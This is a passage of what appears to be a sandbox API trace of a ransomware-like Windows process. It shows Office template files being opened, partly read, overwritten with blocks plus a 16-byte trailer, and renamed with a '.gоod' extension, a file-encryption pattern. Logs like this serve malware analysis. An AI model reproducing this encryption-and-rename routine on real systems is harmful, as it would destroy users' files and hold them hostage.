ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e7a0232, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f59)) returned 1 [0272.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0272.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx.gоod")) returned 1 [0272.238] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0272.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), fInfoLevelId=0x0, lpFileInformation=0x399db20 | out: lpFileInformation=0x399db20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc)) returned 1 [0272.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0272.238] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.239] GetFileType (hFile=0x834) returned 0x1 [0272.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.239] GetFileType (hFile=0x834) returned 0x1 [0272.239] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0272.239] ReadFile (in: hFile=0x834, lpBuffer=0x399df78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x399df78*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0272.260] CloseHandle (hObject=0x834) returned 1 [0272.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.260] GetFileType (hFile=0x834) returned 0x1 [0272.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.260] GetFileType (hFile=0x834) returned 0x1 [0272.261] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2fcc [0272.261] WriteFile (in: hFile=0x834, lpBuffer=0x39a2bb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39a2bb8*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0272.335] CloseHandle (hObject=0x834) returned 1 [0272.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.335] GetFileType (hFile=0x834) returned 0x1 [0272.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.335] GetFileType (hFile=0x834) returned 0x1 [0272.335] ReadFile (in: hFile=0x834, lpBuffer=0x39bf748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39bf748*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0272.362] CloseHandle (hObject=0x834) returned 1 [0272.362] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.363] GetFileType (hFile=0x834) returned 0x1 [0272.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.363] GetFileType (hFile=0x834) returned 0x1 [0272.363] WriteFile (in: hFile=0x834, lpBuffer=0x39be480*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x39be480*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0272.363] CloseHandle (hObject=0x834) returned 1 [0272.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", lpFilePart=0x0) returned 0x52 [0272.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.gоod", lpFilePart=0x0) returned 0x57 [0272.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0272.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e8d13ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc)) returned 1 [0272.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0272.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx.gоod")) returned 1 [0272.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0272.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3a3c060 | out: lpFileInformation=0x3a3c060*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc)) returned 1 [0272.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0272.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.906] GetFileType (hFile=0x834) returned 0x1 [0272.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.923] GetFileType (hFile=0x834) returned 0x1 [0272.923] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0272.923] ReadFile (in: hFile=0x834, lpBuffer=0x3a28330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3a28330*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0272.940] CloseHandle (hObject=0x834) returned 1 [0272.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.940] GetFileType (hFile=0x834) returned 0x1 [0272.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.940] GetFileType (hFile=0x834) returned 0x1 [0272.940] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2fcc [0272.940] WriteFile (in: hFile=0x834, lpBuffer=0x3aa4c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3aa4c68*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0272.941] CloseHandle (hObject=0x834) returned 1 [0272.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.942] GetFileType (hFile=0x834) returned 0x1 [0272.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.942] GetFileType (hFile=0x834) returned 0x1 [0272.942] ReadFile (in: hFile=0x834, lpBuffer=0x3aa9b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3aa9b40*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0272.969] CloseHandle (hObject=0x834) returned 1 [0272.969] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.969] GetFileType (hFile=0x834) returned 0x1 [0272.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.969] GetFileType (hFile=0x834) returned 0x1 [0272.969] WriteFile (in: hFile=0x834, lpBuffer=0x3aa8880*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3aa8880*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0272.970] CloseHandle (hObject=0x834) returned 1 [0272.970] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", lpFilePart=0x0) returned 0x50 [0272.970] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.gоod", lpFilePart=0x0) returned 0x55 [0272.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0272.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9eea0f03, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc)) returned 1 [0272.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0272.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx.gоod")) returned 1 [0272.971] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0272.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0272.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3b27c80 | out: lpFileInformation=0x3b27c80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f32)) returned 1 [0273.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0273.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0273.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.553] GetFileType (hFile=0x834) returned 0x1 [0273.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.553] GetFileType (hFile=0x834) returned 0x1 [0273.553] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0273.554] ReadFile (in: hFile=0x834, lpBuffer=0x3996478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3996478*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0273.555] CloseHandle (hObject=0x834) returned 1 [0273.555] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0273.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.555] GetFileType (hFile=0x834) returned 0x1 [0273.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.555] GetFileType (hFile=0x834) returned 0x1 [0273.555] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f32 [0273.555] WriteFile (in: hFile=0x834, lpBuffer=0x3997718*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3997718*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0273.556] CloseHandle (hObject=0x834) returned 1 [0273.556] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0273.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.556] GetFileType (hFile=0x834) returned 0x1 [0273.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.556] GetFileType (hFile=0x834) returned 0x1 [0273.556] ReadFile (in: hFile=0x834, lpBuffer=0x39999e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39999e0*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0273.584] CloseHandle (hObject=0x834) returned 1 [0273.584] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0273.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.584] GetFileType (hFile=0x834) returned 0x1 [0273.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.584] GetFileType (hFile=0x834) returned 0x1 [0273.584] WriteFile (in: hFile=0x834, lpBuffer=0x3998730*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3998730*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0273.585] CloseHandle (hObject=0x834) returned 1 [0273.585] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", lpFilePart=0x0) returned 0x4c [0273.585] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.gоod", lpFilePart=0x0) returned 0x51 [0273.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0273.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f496dec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f42)) returned 1 [0273.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0273.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx.gоod")) returned 1 